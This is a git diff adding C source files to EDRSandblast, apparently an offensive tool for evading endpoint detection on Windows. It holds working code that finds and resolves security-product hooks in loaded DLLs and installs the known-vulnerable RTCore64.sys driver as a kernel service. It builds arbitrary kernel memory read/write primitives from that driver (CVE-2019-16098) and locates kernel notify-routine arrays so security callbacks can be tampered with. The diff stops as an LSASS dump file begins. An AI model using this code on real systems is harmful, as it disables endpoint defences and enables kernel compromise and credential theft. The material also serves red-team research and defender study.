hookResolver(PBYTE hookAddr) { + PBYTE destination = hookAddr; + BOOL hasFollowedJmp = FALSE; + while (TRUE) { + switch (destination[0]) { + case 0xE9: + { + int diff = *((int*)(&destination[1])); + destination = &destination[5] + diff; + hasFollowedJmp = TRUE; + break; + } +#if _WIN64 + case 0xFF: + { + BYTE selector = destination[1]; + if (selector != 0x25) { + return NULL; + } + int diff = *((int*)(&destination[2])); + QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff); + destination = (PBYTE)*offsetPtr; + hasFollowedJmp = TRUE; + break; + } +#endif + default: + if (!hasFollowedJmp) { + return NULL; + } + else { + return destination; + } + } + } +} + +BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) { + PVOID mem_functionStart = PE_functionAddr(memDLL, functionName); + PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName); + return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL; +} + +hook* searchHooks(const char* csvFileName) { + FILE* csvFile = NULL; + DWORD hookListSize = 8; + DWORD hookList_i = 0; + hook* hooksList = calloc(hookListSize, sizeof(hook)); + if (NULL == hooksList) { + debugf("calloc failed\n"); + exit(1); + } + if (csvFileName) { + if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) { + perror("CSV file could not be opened:"); + exit(1); + } + fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n"); + } + + BOOL hooksFoundInLastModule = TRUE; + for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) { + UNICODE_STRING dll_name = currentModuleEntry->BaseDllName; + if (dll_name.Buffer == NULL) { + continue; + } + WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer; + + if (!hooksFoundInLastModule) { + printf("\tNo hooks found in this module.\n"); + } + else { + hooksFoundInLastModule = FALSE; + } + printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName); + if (csvFile) { + fprintf(csvFile, "0x%p;%ws;%ws;;;\n", + currentModuleEntry->DllBase, + currentModuleEntry->BaseDllName.Buffer, + currentModuleEntry->FullDllName.Buffer + ); + } + + PVOID mem_dllImageBase = currentModuleEntry->DllBase; + PE* memDLL = PE_create(mem_dllImageBase, TRUE); + if (NULL == memDLL->exportDirectory) { + continue; + } + + if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) { + continue; + } + PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer); + if (NULL == disk_dllContent) { + debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError()); + continue; + } + + + PE* diskDLL = PE_create(disk_dllContent, FALSE); + PE_rebasePE(diskDLL, memDLL->baseAddress); + + for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) { + LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]); + DWORD functionRVA = PE_functionRVA(diskDLL, functionName); + IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA); + + if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function + continue; + + PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName); + PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName); + + //check if hook was already detected in this function (due to export aliasing) + BOOL alreadyChecked = FALSE; + for (size_t i = 0; i < hookList_i; i++) { + if (hooksList[i].mem_function == mem_functionStart) { + alreadyChecked = TRUE; + break; + } + + } + if (alreadyChecked) + continue; + + if (isFunctionHooked(functionName, diskDLL, memDLL)) { + printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName); + hooksFoundInLastModule = TRUE; + PVOID jmpTarget = hookResolver(mem_functionStart); + if (NULL == jmpTarget) { + printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n"); + } + else { + LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget); + for (DWORD i = 0; i < 40 - strlen(functionName); i++) { + printf(" "); + } + printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)); + + if (csvFile) { + fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n", + currentModuleEntry->DllBase, + currentModuleEntry->BaseDllName.Buffer, + currentModuleEntry->FullDllName.Buffer, + functionName, + jmpTarget, + hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase) + ); + } + + if (hookList_i >= hookListSize) { + hookListSize *= 2; + hooksList = realloc(hooksList, hookListSize * sizeof(hook)); + if (hooksList == NULL) { + debugf("realloc failed\n"); + exit(1); + } + } + printf("\n"); + + hooksList[hookList_i].mem_function = mem_functionStart; + hooksList[hookList_i].disk_function = disk_functionStart; + hooksList[hookList_i].functionName = functionName; + hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE); + hookList_i++; + } + } + } + } + if (!hooksFoundInLastModule) { + printf("\tNo hooks found in this module.\n"); + } + if (csvFileName) { + fclose(csvFile); + } + if (hookList_i >= hookListSize) { + hookListSize++; + hooksList = realloc(hooksList, hookListSize * sizeof(hook)); + if (NULL == hooksList) { + printf("realloc failed\n"); + exit(1); + } + } + hooksList[hookList_i].mem_function = NULL; + hooksList[hookList_i].disk_function = NULL; + hooksList[hookList_i].functionName = NULL; + + return hooksList; +} + +/* +* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access +*/ +void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) { + LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll"); + PE* ntdllPE_mem_l = NULL; + PE* ntdllPE_disk_l = NULL; + + if (ntdllMemPe_g == NULL) { + ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE); + } + else { + ntdllPE_mem_l = ntdllMemPe_g; + } + if (ntdllDiskPe_g == NULL) { + PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer); + if (NULL == disk_dllContent) { + exit(1); + } + ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE); + PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress); + } + else { + ntdllPE_disk_l = ntdllDiskPe_g; + } + + if (ntdllPE_mem) { + *ntdllPE_mem = ntdllPE_mem_l; + } + if (ntdllPE_disk) { + *ntdllPE_disk = ntdllPE_disk_l; + } +} + +void test_trampoline_search() +{ + for (hook* h = searchHooks(NULL); h->disk_function; ++h) + { + PVOID trampoline = NULL; + printf("Looking for %s trampoline ...\n", h->functionName); + for (diff* d = h->list_patches; d->disk_ptr; ++d) + { + trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size); + if (trampoline) + { + printf("\tTrampoline found at %p !\n", trampoline); + break; + } + } + if (!trampoline) + printf("\tTRAMPOLINE NOT FOUND !\n"); + } +} diff --git a/EDRSandblast/Utils/DriverOps.c b/EDRSandblast/Utils/DriverOps.c new file mode 100644 index 0000000..150bc6b --- /dev/null +++ b/EDRSandblast/Utils/DriverOps.c @@ -0,0 +1,200 @@ +/* + +--- Driver install / uninstall functions. +--- Source and credit: https://github.com/gentilkiwi/mimikatz + +*/ + +#include "DriverOps.h" + +BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) { + BOOL status = FALSE; + DWORD dwSizeNeeded; + PSECURITY_DESCRIPTOR oldSd, newSd; + SECURITY_DESCRIPTOR dummySdForXP; + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + + EXPLICIT_ACCESS ForEveryoneACL = { + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL, + SET_ACCESS, + NO_INHERITANCE, + {NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL} + }; + + if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) { + oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded); + if (oldSd) { + if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) { + if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) { + + if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) { + status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd); + LocalFree(newSd); + } + + FreeSid(ForEveryoneACL.Trustee.ptstrName); + } + } + LocalFree(oldSd); + } + } + return status; +} + +DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) { + SC_HANDLE hSC = NULL, hS = NULL; + + hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); + if (hSC) { + hS = OpenService(hSC, serviceName, SERVICE_START); + if (hS) { + _tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName); + } + + else { + if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { + _tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName); + + hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL); + + if (hS) { + _tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName); + if (ServiceAddEveryoneAccess(hS)) { + _tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName); + } + else { + _tprintf(TEXT("[!] ServiceAddEveryoneAccess")); + } + } + else { + PRINT_ERROR_AUTO(TEXT("CreateService")); + } + } + else { + PRINT_ERROR_AUTO(TEXT("OpenService")); + } + } + + if (hS) { + if (startIt) { + if (StartService(hS, 0, NULL)) { + _tprintf(TEXT("[+] \'%s\' service started\n"), serviceName); + } + else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) { + _tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName); + } + else { + PRINT_ERROR_AUTO(TEXT("StartService")); + return GetLastError(); + } + } + CloseServiceHandle(hS); + } + CloseServiceHandle(hSC); + } + + else { + PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)")); + return GetLastError(); + } + return 0x0; +} + +BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) { + BOOL status = FALSE; + SC_HANDLE hSC, hS; + SERVICE_STATUS serviceStatus; + + hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (hSC) { + hS = OpenService(hSC, serviceName, dwDesiredAccess); + if (hS) { + status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus); + CloseServiceHandle(hS); + } + CloseServiceHandle(hSC); + } + return status; +} + +BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) { + + // Used as a stop point for recursive calls to ServiceUninstall. + if (attemptCount > MAX_UNINSTALL_ATTEMPTS) { + _tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName); + return FALSE; + } + + if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) { + _tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName); + } + else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) { + _tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName); + } + else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) { + _tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName); + Sleep(OP_SLEEP_TIME); + } + else { + PRINT_ERROR_AUTO(TEXT("ServiceUninstall")); + Sleep(OP_SLEEP_TIME); + return ServiceUninstall(serviceName, attemptCount + 1); + } + + SERVICE_STATUS status; + BOOL deleted = FALSE; + SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (hSC) { + SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE); + if (hS) { + if (QueryServiceStatus(hS, &status)) { + if (!(status.dwCurrentState == SERVICE_STOPPED)) { + CloseServiceHandle(hS); + CloseServiceHandle(hSC); + Sleep(OP_SLEEP_TIME); + return ServiceUninstall(serviceName, attemptCount + 1); + } + else { + deleted = DeleteService(hS); + CloseServiceHandle(hS); + } + } + } + CloseServiceHandle(hSC); + } + if (!deleted) { + Sleep(OP_SLEEP_TIME); + return ServiceUninstall(serviceName, attemptCount + 1); + } + return deleted; +} + + +/* + +--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions. +--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified. + +*/ + +BOOL InstallVulnerableDriver(TCHAR* driverPath) { + const TCHAR svcDesc[] = TEXT(""); + + DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE); + + if (status == 0x00000005) { + _tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n")); + } + + return status == 0x0; +} + +BOOL UninstallVulnerableDriver() { + BOOL status = ServiceUninstall(gVulnDriverServiceName, 0); + + if (!status) { + PRINT_ERROR_AUTO(TEXT("ServiceUninstall")); + } + + return status; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/FileVersion.c b/EDRSandblast/Utils/FileVersion.c new file mode 100644 index 0000000..e3a71f6 --- /dev/null +++ b/EDRSandblast/Utils/FileVersion.c @@ -0,0 +1,70 @@ +/* + +--- ntoskrnl.exe / wdigest.dll version compute functions. + +*/ + +#include "FileVersion.h" + +void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) { + DWORD verHandle = 0; + UINT size = 0; + LPVOID lpBuffer = NULL; + + DWORD verSize = GetFileVersionInfoSize(filename, &verHandle); + + if (verSize != 0) { + LPTSTR verData = (LPTSTR)calloc(verSize, 1); + + if (!verData) { + _tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n")); + return; + } + + if (GetFileVersionInfo(filename, 0, verSize, verData)) { + if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) { + if (size) { + VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer; + if (verInfo->dwSignature == 0xfeef04bd) { + DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff; + DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff; + _stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion); + // _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion); + } + } + } + } + free(verData); + } +} + +void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute ntoskrnl.exe path. + TCHAR ntoskrnlPath[MAX_PATH] = { 0 }; + _tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory); + _tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe")); + + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath); + _stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer); +} + +void GetWdigestVersion(TCHAR* wdigestVersion) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute ntoskrnl.exe path. + TCHAR wdigestPath[MAX_PATH] = { 0 }; + _tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory); + _tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll")); + + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath); + + _stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer); +} \ No newline at end of file diff --git a/EDRSandblast/Utils/KernelMemoryPrimitives.c b/EDRSandblast/Utils/KernelMemoryPrimitives.c new file mode 100644 index 0000000..3f585b3 --- /dev/null +++ b/EDRSandblast/Utils/KernelMemoryPrimitives.c @@ -0,0 +1,178 @@ +/* + +--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver. +--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp + +*/ + +#include "KernelMemoryPrimitives.h" + +static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes"); +static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); +static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); + +DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { + struct RTCORE64_MEMORY_READ MemoryRead = { 0 }; + MemoryRead.Address = Address; + MemoryRead.ReadSize = Size; + + DWORD BytesReturned; + + DeviceIoControl(Device, + RTCORE64_MEMORY_READ_CODE, + &MemoryRead, + sizeof(MemoryRead), + &MemoryRead, + sizeof(MemoryRead), + &BytesReturned, + NULL); + + return MemoryRead.Value; +} + +void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { + struct RTCORE64_MEMORY_READ MemoryRead = { 0 }; + MemoryRead.Address = Address; + MemoryRead.ReadSize = Size; + MemoryRead.Value = Value; + + DWORD BytesReturned; + + DeviceIoControl(Device, + RTCORE64_MEMORY_WRITE_CODE, + &MemoryRead, + sizeof(MemoryRead), + &MemoryRead, + sizeof(MemoryRead), + &BytesReturned, + NULL); +} + +BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) { + return ReadMemoryPrimitive(Device, 1, Address) & 0xff; +} + +WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { + return ReadMemoryPrimitive(Device, 2, Address) & 0xffff; +} + +DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { + return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff; +} + +DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { + return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address); +} + +void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) { + DWORD64 currentValue = ReadMemoryDWORD64(Device, Address); + Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value); + WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); + WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); +} + +void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) { + DWORD64 currentValue = ReadMemoryDWORD64(Device, Address); + Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value); + WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); + WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); +} + +void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { + WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); + WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); +} + +/* + +--- Kernel exploitation helpers. +--- Largely inspired from https://github.com/br-sn/CheekyBlinder +--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp + +*/ + +DWORD64 FindNtoskrnlBaseAddress(void) { + DWORD cbNeeded = 0; + LPVOID drivers[1024]; + + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { + return (DWORD64)drivers[0]; + } + + return 0; +} + +TCHAR* FindDriver(DWORD64 address, BOOL verbose) { + + LPVOID drivers[1024]; + DWORD cbNeeded; + int cDrivers = 0; + int i = 0; + TCHAR szDriver[1024] = { 0 }; + DWORD64 minDiff = MAXDWORD64; + DWORD64 diff; + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { + cDrivers = cbNeeded / sizeof(drivers[0]); + for (i = 0; i < cDrivers; i++) { + if ((DWORD64)drivers[i] <= address) { + diff = address - (DWORD64)drivers[i]; + if (diff < minDiff) { + minDiff = diff; + } + } + } + } + else { + _tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address); + return NULL; + } + + if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) { + + if (verbose) { + _tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff); + } + + TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR)); + + if (!ptrDrvier) { + _tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n")); + return NULL; + } + + _tcscpy_s(ptrDrvier, 1024, szDriver); + return ptrDrvier; + } + else { + _tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address); + return NULL; + } +} + +HANDLE GetDriverHandle() { + TCHAR service[MAX_PATH] = { 0 }; + TCHAR suffix[] = TEXT("\\\\.\\"); + _tcsncat_s(service, _countof(service), suffix, _countof(suffix)); + _tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName)); + HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (Device == INVALID_HANDLE_VALUE) { + _tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n")); + exit(EXIT_FAILURE); + } + + return Device; +} + +DWORD64 GetFunctionAddress(LPCSTR function) { + DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress(); + DWORD64 address = 0; + HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe")); + if (ntoskrnl) { + DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl); + address = ntoskrnlBaseAddress + offset; + FreeLibrary(ntoskrnl); + } + // _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address); + return address; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/KernelPatternSearch.c b/EDRSandblast/Utils/KernelPatternSearch.c new file mode 100644 index 0000000..7342b68 --- /dev/null +++ b/EDRSandblast/Utils/KernelPatternSearch.c @@ -0,0 +1,81 @@ +/* + +--- ntoskrnl Notify Routines' offsets search functions using patterns. +--- Ultimately not used because too unreliable and too prone to BSoD. + +*/ + +#include "KernelPatternSearch.h" + +DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) { + for (DWORD i = 0; i < bytesToScan; i++) { + DWORD64 instructionAddress = startAddress + i; + DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress); + DWORD64 dword64InstructionFixed = dword64Instruction & mask; + // _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed); + if (dword64InstructionFixed == pattern) { + _tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed); + return instructionAddress; + } + } + return 0x0; +} + +DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) { + DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset); + DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset; + return nextInstructionAddress + procedureRelativeAddress; +} + +DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) { + _tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n")); + HANDLE Device = GetDriverHandle(); + + // Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine". + DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine"); + DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF); + DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5); + + // Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine". + DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8); + DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7); + _tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); + + CloseHandle(Device); + + return PspCreateProcessNotifyRoutineAddress; +} + +DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) { + _tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n")); + HANDLE Device = GetDriverHandle(); + + // Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine". + DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine"); + DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF); + DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5); + + // Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]". + DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8); + DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7); + _tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); + + CloseHandle(Device); + + return PspCreateThreadNotifyRoutineAddress; +} + +DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) { + _tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n")); + HANDLE Device = GetDriverHandle(); + + // Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]". + DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx"); + DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8); + DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);; + _tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); + + CloseHandle(Device); + + return PspLoadImageNotifyRoutineAddress; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/LSASSDump.c b/EDRSandblast/Utils/LSASSDump.c new file mode 100644 index 0000000..3538ba7 --- /dev/null 